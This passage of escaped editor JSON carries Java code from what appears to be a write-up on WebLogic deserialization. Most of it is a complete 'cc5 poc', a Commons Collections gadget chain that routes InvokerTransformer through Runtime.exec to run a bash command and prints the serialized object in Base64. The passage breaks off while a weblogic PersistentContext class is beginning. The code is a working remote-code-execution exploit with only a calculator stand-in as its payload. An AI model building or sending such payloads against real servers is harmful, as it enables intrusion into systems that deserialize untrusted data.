ObjectOutputStream(fout);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;930y-1682254539754&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;IIuF-1682254539753&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.writeObject(pc);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;L7YT-1682254539756&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cHJb-1682254539755&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        objectOutputStream.close();&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;twL3-1682254539758&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qBek-1682254539757&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.out.println(Base64.getEncoder().encodeToString(fout.toByteArray()));&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NfJ5-1682254539783&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xGKg-1682254539782&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;VwYT-1682254539785&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yDVV-1682254539784&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NOoL-1682254539787&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PjUp-1682254539786&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Srok-1682254539789&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;UKJk-1682254539788&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//cc5 poc&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kpyl-1682254539791&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Eaii-1682254539790&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kGT5-1682254539793&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8x9L-1682254539792&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.Transformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;T0O6-1682254539795&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;yGMq-1682254539794&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.ChainedTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;alKR-1682254539797&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;WpfP-1682254539796&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.ConstantTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0upw-1682254539799&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dIqu-1682254539798&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.functors.InvokerTransformer;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oOX7-1682254539801&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XZGn-1682254539800&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.keyvalue.TiedMapEntry;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BkLL-1682254539803&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1pmq-1682254539802&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import org.apache.commons.collections.map.LazyMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;GsxH-1682254539805&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;qrXW-1682254539804&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;u19d-1682254539807&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;5BtN-1682254539806&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import javax.management.BadAttributeValueExpException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;6bBJ-1682254539809&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;HJos-1682254539808&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.lang.reflect.Field;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;N3Ak-1682254539811&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;3Nwm-1682254539810&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.HashMap;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;LdPg-1682254539813&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;R3xw-1682254539812&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;xhfU-1682254539815&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;YwI3-1682254539814&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZzyC-1682254539817&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;XoZM-1682254539816&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;public class POC {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Fr13-1682254539819&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Q8ZG-1682254539818&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static Object getObject() throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8E3C-1682254539821&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;bzBJ-1682254539820&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;BRqX-1682254539823&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;FxcS-1682254539822&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String enableUnsafeSerialization = System.getProperty(\&#34;org.apache.commons.collections.enableUnsafeSerialization\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Jbbv-1682254539825&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;wa9c-1682254539824&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        System.setProperty(\&#34;org.apache.commons.collections.enableUnsafeSerialization\&#34;, \&#34;true\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;XKVC-1682254539827&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KREm-1682254539826&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//        String cmd = \&#34;touch /tmp/success123\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zlMD-1682254539829&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;50T3-1682254539828&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        String cmd = \&#34;open -a Calculator.app\&#34;;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ENXo-1682254539831&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0YKE-1682254539830&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Transformer[] tarray = new Transformer[]&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;lSGJ-1682254539833&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;pbHy-1682254539832&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;dAhu-1682254539835&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Silx-1682254539834&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new ConstantTransformer(Runtime.class),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;eS7l-1682254539837&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;7dLA-1682254539836&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;getMethod\&#34;, new Class[]{String.class, Class[].class}, new Object[]{\&#34;getRuntime\&#34;, new Class[0]}),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WsSH-1682254539839&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uxCl-1682254539838&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;invoke\&#34;, new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ifWt-1682254539841&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;z0eX-1682254539840&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                        new InvokerTransformer(\&#34;exec\&#34;, new Class[]{String[].class}, new Object[]{new String[]{\&#34;/bin/bash\&#34;, \&#34;-c\&#34;, cmd}})&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;l0u5-1682254539843&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;iBIL-1682254539842&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;                };&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;f8BO-1682254539846&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1bPd-1682254539844&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Transformer chainedTransformer = new ChainedTransformer(tarray);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Sf6V-1682254539848&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L5ST-1682254539847&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;3sb4-1682254539850&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;N9Tu-1682254539849&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, \&#34;a\&#34;);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;Evz6-1682254539852&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;dR2M-1682254539851&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;he2i-1682254539854&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;L1CC-1682254539853&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        setValue(badAttributeValueExpException, \&#34;val\&#34;, tiedMapEntry);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;rW6W-1682254539856&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;636s-1682254539855&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        return badAttributeValueExpException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;0CQZ-1682254539858&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;PTc6-1682254539857&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;NJyT-1682254539860&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;1Ecc-1682254539859&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void main(String[] args) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;WOZT-1682254539862&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;JtFo-1682254539861&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;fkQR-1682254539864&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;djUF-1682254539863&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;yron-1682254539866&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJVv-1682254539865&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    public static void setValue(Object obj, String name, Object value) throws Exception {&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;p0C5-1682254539868&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;MaNB-1682254539867&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        Field field = obj.getClass().getDeclaredField(name);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;alLG-1682254539870&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;0pu3-1682254539869&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        field.setAccessible(true);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;QrNz-1682254539872&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;DBdy-1682254539871&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;        field.set(obj, value);&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;U07q-1682254539874&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;J6Bh-1682254539873&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;    }&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q1Gs-1682254539876&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;a7kk-1682254539875&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;YIHB-1682254539878&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;cUzM-1682254539877&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;}&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;ZOJ4-1682254539880&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SfUM-1682254539879&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;DNvj-1682254539882&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;4Rc4-1682254539881&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;//PersistentContext&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;cwHz-1682254539884&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;8Fde-1682254539883&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;package weblogic.wsee.jaxws.persistence;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;FRUV-1682254539886&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ccFV-1682254539885&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;oyGh-1682254539888&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;jmjV-1682254539887&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.istack.NotNull;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SOcr-1682254539890&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;Roq2-1682254539889&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import com.sun.istack.Nullable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;gIm6-1682254539892&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;2jiV-1682254539891&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayInputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;8ssO-1682254539894&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ijZr-1682254539893&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ByteArrayOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;c5NX-1682254539896&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;j0rm-1682254539895&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.IOException;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;kBGm-1682254539898&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;KaCM-1682254539897&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectInputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;PQLy-1682254539900&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;BB2A-1682254539899&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.ObjectOutputStream;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;q46s-1682254539902&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;CEHG-1682254539901&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.io.Serializable;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;zvVE-1682254539904&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;ykfS-1682254539903&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.security.AccessController;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SH2u-1682254539906&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xiAk-1682254539905&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Map;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;reSd-1682254539908&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;gJdQ-1682254539907&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.Set;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;F0XX-1682254539910&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;SJ3l-1682254539909&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import java.util.concurrent.locks.ReentrantReadWriteLock;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;SlMv-1682254539912&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;xnW0-1682254539911&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import weblogic.kernel.KernelStatus;&#34;,&#34;marks&#34;:[]}]}]},{&#34;type&#34;:&#34;block&#34;,&#34;id&#34;:&#34;1sk8-1682254539914&#34;,&#34;name&#34;:&#34;code-line&#34;,&#34;data&#34;:{},&#34;nodes&#34;:[{&#34;type&#34;:&#34;text&#34;,&#34;id&#34;:&#34;uC1z-1682254539913&#34;,&#34;leaves&#34;:[{&#34;text&#34;:&#34;import 